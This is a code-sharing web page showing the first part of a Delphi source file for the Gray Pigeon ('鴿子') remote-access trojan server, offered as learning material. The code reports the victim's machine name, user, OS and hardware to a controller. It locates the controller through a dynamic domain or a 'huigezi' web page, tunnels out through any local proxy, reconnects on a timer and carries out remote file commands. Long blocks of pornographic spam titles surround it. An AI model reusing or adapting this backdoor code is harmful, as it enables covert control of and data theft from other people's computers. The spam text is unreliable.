亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? mainserver.pas

?? 鴿子服務端,Delphi源碼,可以有助于學習者編程!
?? PAS
?? 第 1 頁 / 共 5 頁
字號:
Reg:TRegistry;
ProxyStr: TProxyServerInf;
begin
try
  if Peizhi.ClientIm<25 then Peizhi.ClientIm:=25;
  
  if Peizhi.Group='' then Peizhi.Group:='自動上線主機';
  Temp:=Temp+'<GR>'+Peizhi.Group+'</GR>';
  Temp:=Temp+'<IM>'+InttoStr(Peizhi.ClientIm)+'</IM>';
  Temp:=Temp+'<NA>'+computername+'</NA>';
  Temp:=Temp+'<CS>'+Currentuser+'</CS>';
  Temp:=Temp+'<OS>'+GetOSName(GetOSVersion)+'</OS>';
  Temp:=Temp+'<CPU>'+Format('%f MHz', [GetCPUSpeed])+'</CPU>';
  Temp:=Temp+'<MEM>'+Phymemery+'</MEM>';

  try
    Reg := TRegistry.Create;
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    if not Reg.KeyExists('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup') then
      Reg.CreateKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup');
    Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Setup',True);
    Bz:=Reg.ReadString('Beizhu');
    if Bz<>'' then Peizhi.Beizhu:=Bz;
    Reg.CloseKey;
    Reg.Free;
  except
  end;
  if GetDefaultProxyServer(ProxyStr) then
  Peizhi.Beizhu:='(Proxy)'+Peizhi.Beizhu;
  Temp:=Temp+'<BZ>'+Peizhi.Beizhu+'</BZ>';
  SendStreamToClient(IdTCPOnline,'000',Temp);
except
end;
end;


function TH_GZVIP2004.HTTPtoIpPort(i:integer;S:string):Boolean;
var
Temp:String;
j,Tmpport:integer;
begin
try
  Result:=False;
  case i of
    0: begin  {DNS解析域名}
         RpcAdder:=S;
         if Peizhi.Port=0 then Peizhi.Port:=5022;
         RpcPort:=Peizhi.Port;
       end;
    1: begin
         //showmessage(S);
        // try
           Temp:=lowercase(IdHTTP1.Get(S));   {讀取域名}
           //showmessage(Temp);
           IdHTTP1.Disconnect;
        // except
           //showmessage('ERR Get'+Temp);
        // end;
         RpcAdder:=CenterStr(Temp,'http://huigezi','end');
         //showmessage(RpcAdder);
         j:=pos(':',RpcAdder);
         if j>0 then
           begin
             Tmpport:=5022;
             try
               Tmpport:=StrtoInt(Copy(RpcAdder,j+1,Length(RpcAdder)));
             except
               Tmpport:=5022;
             end;
             RpcPort:=Tmpport;
             RpcAdder:=Copy(RpcAdder,1,j-1);
           end else
           begin
             RpcPort:=5022;
           end;
       end;
  end;

  if (RpcAdder<>'') and (RpcAdder<>'0.0.0.0') then
    begin
      if ConRpcport(IdTCPOnline) then
        begin
          //showmessage('CreateHttpConnection');
          HttpConokSend;
          ClientHandleThread:=TClientHandleThread.Create;
          ClientOnlineThread:=TClientOnlineThread.Create;
          Result:=True;
          Exit;
        end;
   end;
except
end;
end;


procedure TH_GZVIP2004.AutoToClient;
var
i:integer;
Temp:string;
ProxyStr: TProxyServerInf;
begin
   if Peizhi.Dnsym<>'' then
     begin
       try
         HostToIp('www.163.com',Temp);
         if HostToIp(Peizhi.Dnsym,RpcAdder) then    //動態域名解析//
           begin
             if HTTPtoIpPort(0,RpcAdder) then
                 begin
                   Exit;
                 end else
                 begin
                   IdTCPOnline.Disconnect;
                   IdTCPClient1.Disconnect;
                   IdTCPVfw.Disconnect;
                 end;
           end;
       except
       end;
     end;
     
     try
       if GetDefaultProxyServer(ProxyStr) then  //本地設置了代理服務器//
         begin
           if ProxyStr.httpName<>'' then   //進行http隧道連接
             begin
               IdHTTP1.IOHandler:=nil;
               IdHTTP1.ProxyParams.ProxyServer:=ProxyStr.httpName;
               IdHTTP1.ProxyParams.ProxyPort:=ProxyStr.httpport;
               if Peizhi.Urlhttp<>'' then
               begin
                 if HTTPtoIpPort(1,Peizhi.Urlhttp) then
                 begin
                   Exit;
                 end else
                 begin
                   IdTCPOnline.Disconnect;
                   IdTCPClient1.Disconnect;
                   IdTCPVfw.Disconnect;
                 end;
               end;
               if Peizhi.httpwj<>'' then
               begin
                 if HTTPtoIpPort(1,Peizhi.httpwj) then
                 begin
                   Exit;
                 end else
                 begin
                   IdTCPOnline.Disconnect;
                   IdTCPClient1.Disconnect;
                   IdTCPVfw.Disconnect;
                 end;
               end;
              end;
           if ProxyStr.SocksName <>'' then  //Socks代理連接
             begin
               IdHTTP1.ProxyParams.ProxyServer:='';
               IdHTTP1.ProxyParams.ProxyPort:=0;
               IdHTTP1.IOHandler:=IdIOHandlerSocket1;
               IdSocksInfo1.Host := ProxyStr.SocksName;
               IdSocksInfo1.Port := ProxyStr.Socksport;
               IdSocksInfo1.Version := svSocks5;
               if Peizhi.Urlhttp<>'' then
               begin
                 if HTTPtoIpPort(1,Peizhi.Urlhttp) then
                 begin
                   Exit;
                 end else
                 begin
                   IdTCPOnline.Disconnect;
                   IdTCPClient1.Disconnect;
                   IdTCPVfw.Disconnect;
                 end;
               end;
               if Peizhi.httpwj<>'' then
               begin
                 if HTTPtoIpPort(1,Peizhi.httpwj) then
                 begin
                   Exit;
                 end else
                 begin
                   IdTCPOnline.Disconnect;
                   IdTCPClient1.Disconnect;
                   IdTCPVfw.Disconnect;
                 end;
               end;
             end;
         end else begin   //沒有設置代理,正確連接客戶端//
               IdHTTP1.IOHandler:=nil;
               IdHTTP1.ProxyParams.ProxyServer:='';
               IdHTTP1.ProxyParams.ProxyPort:=0;
               if Peizhi.Urlhttp<>'' then
               begin
                 if HTTPtoIpPort(1,Peizhi.Urlhttp) then
                 begin
                   Exit;
                 end else
                 begin
                   IdTCPOnline.Disconnect;
                   IdTCPClient1.Disconnect;
                   IdTCPVfw.Disconnect;
                 end;
               end;
               if Peizhi.httpwj<>'' then
               begin
                 if HTTPtoIpPort(1,Peizhi.httpwj) then
                 begin
                   Exit;
                 end else
                 begin
                   IdTCPOnline.Disconnect;
                   IdTCPClient1.Disconnect;
                   IdTCPVfw.Disconnect;
                 end;
               end;
         end;
     except
     end;
end;

procedure TH_GZVIP2004.Timer1Timer(Sender: TObject);
begin
Timer1.Interval :=50000;
try
  if not IdTCPOnline.Connected then
  begin
    //
    AutoToClient;
  end;
except
end;
end;


function TH_GZVIP2004.ConRpcport(BThread: TIdTCPClient):Boolean;
var
  ProxyStr: TProxyServerInf;
  Request:String;
begin
try
if GetDefaultProxyServer(ProxyStr) then  {本地設置了代理服務器}
  begin
    //ProxyStr.httpName:='127.0.0.1';
    //ProxyStr.httpport :=8080;
    if ProxyStr.SocksName <>'' then   //Socks代理連接
        begin
          try
            BThread.Disconnect;
            BThread.Host:=ProxyStr.SocksName;
            BThread.Port:=ProxyStr.Socksport;          // RpcAdder   RWenjian
            BThread.Connect;
            if BThread.Connected then
              begin
                if CreateIDTCPConnection(BThread.Socket,'','',RpcAdder,RpcPort) then
                  begin
                   Result:=True;
                   Exit;
                  end;
              end;
          except
          end;
        end;
    if ProxyStr.httpName<>'' then
      begin
        try
          BThread.Disconnect;
          BThread.Host:=ProxyStr.httpName;
          BThread.Port:=ProxyStr.httpport;
          BThread.Connect;
          // if RpcPort=80 then
          //   Request:='CONNECT '+RpcAdder+' HTTP/1.1'+EOL
          // else
            Request:='CONNECT '+RpcAdder+':'+InttoStr(RpcPort)+' HTTP/1.1'+EOL;
          Request:=Request+'Accept: */*'+EOL;
          Request:=Request+'Content-Type: text/html'+EOL;      // #$d#$a#$d#$a
          Request:=Request+'Proxy-Connection: Keep-Alive'+EOL;
          Request:=Request+'Content-length: 0'+EOL;  
          BThread.WriteLn(Request+EOL);
          Request:='';
          Request:=BThread.ReadLn(EOL);
          //Memo1.Lines.Add(Request);
         if (UpperCase(copy(Request,1,12))=UpperCase('HTTP/1.0 200'))
           or (UpperCase(copy(Request,1,12))=UpperCase('HTTP/1.1 200')) then //http服務器可用
           begin
             Result:=True;
             Exit;
           end;  
         except
         end;
       end;
     if BThread.Connected=False then
       begin
         BThread.Disconnect;
         BThread.Host:=RpcAdder;
         BThread.Port:=RpcPort;
         BThread.Connect;
         if BThread.Connected then
           begin
             Request:=BThread.ReadLn(EOL);
             Result:=True;
           end;
       end;
  end else begin
        BThread.Disconnect;
        BThread.Host:=RpcAdder;
        BThread.Port:=RpcPort;
        BThread.Connect;
        if BThread.Connected then
          begin
            Request:=BThread.ReadLn(EOL);
            Result:=True;
          end;
  end;
except
  Result:=False;
end;
end;

function TH_GZVIP2004.GetServicesInfo:string;   //Get the services info
var
  tmpDisplayList: TStrings;
  i:integer;
  tmpStr:String;
  Temp:String;
begin
       tmpDisplayList := TStringList.Create;
        ServiceGetList('',SERVICE_WIN32, SERVICE_STATE_ALL, tmpDisplayList );
        for i:=0 to tmpDisplayList.Count -1 do
        begin
        tmpStr:=ServiceGetKeyName('',tmpDisplayList[i]);
        Temp:=Temp+tmpDisplayList[i]+'|'+ServiceGetKeyName('',tmpDisplayList[i]);
        if (ServiceStopped('',tmpStr)) then
          begin
            Temp:=Temp+'|0'+#13;
          end
          else
          begin
            Temp:=Temp+'|1'+#13;     //已啟用
          end;
        end;
        tmpDisplayList.free;
        Result := Temp;
end;

function WinisNT :Bool;
var osvi:OSVERSIONINFO;
begin
  osvi.dwOSVersionInfoSize :=sizeof(osversioninfo);;
  getversionex(osvi);
  if osvi.dwPlatformId=VER_PLATFORM_WIN32_NT then
     Result:=True
  else
     Result:=False;
end;

procedure TH_GZVIP2004.SendStreamToClient(AThread: TIdTCPClient;Cmd,TempStr:String);
var
  MyStream: TMemoryStream;
  i:integer;
begin
    Try
       MyStream:=TMemoryStream.Create;
       Cmd:=EncodeBase64(Cmd);
       AThread.Write(Cmd+EOL);
       TempStr:=EncodeBase64(TempStr);
       MyStream.Write(TempStr[1],Length(TempStr));
       MyStream.Position:=0;
       i:=MyStream.size;
       AThread.WriteInteger(i);
       AThread.WriteStream(MyStream);
       MyStream.Free;
     Except
       AThread.Disconnect;
     end;
end;



procedure TH_GZVIP2004.ZhiXingCmd(var StrTmpList:TStringList);
var
  i,j,NumRead: integer;
  Temp: string;
  Path1,path2,path3,path4,path5,path6:string;
  ThePID:Cardinal;
  RsFileS: TFileStream;
  Reg: TRegistry;
  TheKeyNames: TStringList;
  TempList:TStringList;
  toolong: boolean;
  bufsize, lineofbuf: integer;
  buf2: array[1..64] of int64;
  hDesktop:THandle;
  Dlg:TDlgshowThread;
  DomnFile:TDownFileThread;

  ClsLog:TCleanerLogThread;
  FTPTemp:TFtpThread;
  H:THandle;
  II:DWord;

  Request:String;
  TheFListStream:TStringStream;
  DownLoadThread:TDownLoadThread; 
  FromF: file of byte;
  Buf: array[1..32768] of byte;
begin

try
 {------------------------------------}
 if StrTmpList[1]='002' then   {路徑列表}
   begin
       Request:=FindFile(StrTmpList[2]);
       SendStreamToClient(IdTCPClient1,'002',Request);
     Exit;
   end;

 {------------------------------------}
 if StrTmpList[1]='003' then   {粘貼文件}
   begin
     try
       for j:=StrTmpList.Count-1 downto 3 do
          begin
            try
              Path1:=StrTmpList[2];
              Path2:=StrTmpList[j];
              if Copy(StrTmpList[j],length(StrTmpList[j]),1)='\' then
                begin
                  if DirectoryExists(StrTmpList[j]) then
                    begin
                      Delete(Path2,Length(Path2),1);
                      Temp:=Path1+GetFileName(Path2);
                      Path2:=StrTmpList[j];
                      Path1:=Temp+'\';
                      I:=0;
                      while DirectoryExists(Path1) do
                        begin
                          inc(i);
                          Path1 := GetFilepath(Temp) + '復件(' + inttoStr(i) + ')' + GetFileName(Temp)+'\';
                       end;
                      DoCopyDir(Path2,Path1);
                    end;
                end
                else begin
                  if FIleExists(StrTmpList[j])  then
                    begin
                      Path1:=StrTmpList[2];
                      Path2:=StrTmpList[j];
                      Path1:=Path1+GetFileName(Path2);
                      i:=0;
                      Temp:=Path1;
                      while FileExists(Path1) do
                        begin
                          inc(i);
                          Path1 := GetFilepath(Temp) + '復件(' + inttoStr(i) + ')' + GetFileName(Temp);

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
色妞www精品视频| 亚洲福利电影网| 国产成人自拍网| 精品国产乱码久久久久久牛牛 | 日本精品裸体写真集在线观看| 国产精品免费久久久久| 波多野结衣视频一区| 中文字幕一区日韩精品欧美| 99久久精品国产导航| 亚洲综合小说图片| 欧美久久高跟鞋激| 国产一区二区不卡| 欧美国产激情二区三区| 色偷偷久久人人79超碰人人澡| 亚洲一区二区影院| 欧美一级久久久| 国产成人精品免费网站| 亚洲欧美日韩系列| 欧美人与z0zoxxxx视频| 麻豆精品视频在线观看视频| 久久精品夜色噜噜亚洲aⅴ| 99久久精品国产麻豆演员表| 日韩国产欧美在线视频| 久久久久青草大香线综合精品| 成人精品电影在线观看| 一区二区在线电影| 日韩亚洲欧美在线观看| 成人午夜又粗又硬又大| 18涩涩午夜精品.www| 欧美日韩精品一二三区| 国产在线精品一区二区不卡了 | 日本三级亚洲精品| 国产日本亚洲高清| 在线免费不卡视频| 蜜乳av一区二区| 最新中文字幕一区二区三区| 8x福利精品第一导航| 成人午夜视频在线| 青青青伊人色综合久久| 国产精品理论片在线观看| 欧美美女bb生活片| 国产91丝袜在线播放九色| 亚洲v中文字幕| 2020国产成人综合网| 欧美伊人久久久久久久久影院 | 精品sm捆绑视频| 色婷婷av一区二区三区软件 | 欧美又粗又大又爽| 国产麻豆9l精品三级站| 日韩电影免费一区| 最新国产精品久久精品| 欧美精品一区二区高清在线观看| 在线观看日韩高清av| 成人一区二区视频| 激情偷乱视频一区二区三区| 亚洲成人av电影| 亚洲三级免费电影| 国产精品免费网站在线观看| 日韩欧美精品在线| 91精品麻豆日日躁夜夜躁| 91黄色免费看| 91色porny| 9久草视频在线视频精品| 国产激情91久久精品导航| 狠狠色伊人亚洲综合成人| 日韩成人伦理电影在线观看| 亚洲va韩国va欧美va| 亚洲图片欧美综合| 亚洲最快最全在线视频| 亚洲女人小视频在线观看| 国产精品进线69影院| 中文字幕免费不卡| 国产精品无人区| 国产日韩欧美精品一区| 国产亚洲一区二区在线观看| 2023国产精品| 久久久www成人免费毛片麻豆| 久久综合九色综合欧美98| 精品99一区二区三区| www成人在线观看| 久久久国产午夜精品| 国产欧美精品一区aⅴ影院| 国产午夜一区二区三区| 久久伊99综合婷婷久久伊| 久久蜜桃av一区精品变态类天堂 | 国产91丝袜在线播放0| 国产成人精品一区二区三区网站观看| 久久国产夜色精品鲁鲁99| 老司机免费视频一区二区| 精品一区中文字幕| 国产精品一二三区| 成人av电影在线观看| av毛片久久久久**hd| 一本到不卡精品视频在线观看| 在线观看区一区二| 欧美一区二区视频免费观看| www成人在线观看| 国产精品少妇自拍| 亚洲一区在线观看网站| 日韩电影免费一区| 国产精品1区二区.| 91视频在线看| 91精品在线观看入口| 久久精品水蜜桃av综合天堂| 国产精品乱码妇女bbbb| 亚洲综合一区在线| 人妖欧美一区二区| 粉嫩欧美一区二区三区高清影视| 91在线免费视频观看| 91精品国产入口在线| 国产欧美一区视频| 亚洲成a人在线观看| 久久99精品国产麻豆婷婷洗澡| 成人国产在线观看| 欧美放荡的少妇| 中文字幕av一区二区三区高| 亚洲综合区在线| 国产一区美女在线| 在线免费视频一区二区| xnxx国产精品| 偷窥国产亚洲免费视频| 国产成人夜色高潮福利影视| 在线观看网站黄不卡| 久久精品一区二区三区四区| 亚洲线精品一区二区三区| 精品亚洲国内自在自线福利| 色综合夜色一区| 一区二区三区精品视频| 免费成人av资源网| 91久久线看在观草草青青| 欧美精品一区二区三区高清aⅴ| 亚洲无人区一区| 国产aⅴ精品一区二区三区色成熟| 欧美日韩一区精品| 亚洲欧美在线高清| 国内精品国产成人国产三级粉色 | 亚洲人成在线观看一区二区| 伦理电影国产精品| 在线精品视频小说1| 国产精品水嫩水嫩| 麻豆国产欧美一区二区三区| 欧美无砖专区一中文字| 国产精品蜜臀av| 国产一区中文字幕| 欧美成人高清电影在线| 亚洲一区二区三区中文字幕| 91一区在线观看| 中文字幕成人在线观看| 国产一区二区毛片| 欧美一区二区三区影视| 亚洲一区在线观看免费观看电影高清| 波多野结衣中文字幕一区二区三区| 亚洲精品在线一区二区| 青草国产精品久久久久久| 欧美片在线播放| 亚洲 欧美综合在线网络| 欧美中文一区二区三区| 一区二区三区波多野结衣在线观看| 成人av影院在线| 欧美国产成人精品| 国产精品系列在线播放| 国产三区在线成人av| 韩国女主播一区二区三区| 欧美tickle裸体挠脚心vk| 麻豆91在线观看| 日韩精品专区在线影院观看| 图片区日韩欧美亚洲| 欧美精品xxxxbbbb| 亚洲成人激情av| 91精品国产综合久久蜜臀| 视频一区二区三区入口| 777xxx欧美| 久久精品国产亚洲5555| 欧美精品一区视频| 国产在线精品国自产拍免费| 久久精品夜夜夜夜久久| 成人午夜大片免费观看| 中文字幕精品一区| 97久久超碰国产精品| 亚洲一区av在线| 777久久久精品| 国产一区二区三区不卡在线观看 | 久久久高清一区二区三区| 国产成人av电影在线| 国产精品毛片久久久久久| 91丝袜美女网| 亚洲国产精品久久不卡毛片| 91精品国产日韩91久久久久久| 韩国成人在线视频| 国产精品午夜春色av| 欧美影片第一页| 久久激情综合网| 中文字幕一区二区日韩精品绯色| 色菇凉天天综合网| 日韩不卡免费视频| 国产嫩草影院久久久久| 91成人免费网站| 麻豆国产精品官网| 中文字幕亚洲不卡| 69av一区二区三区|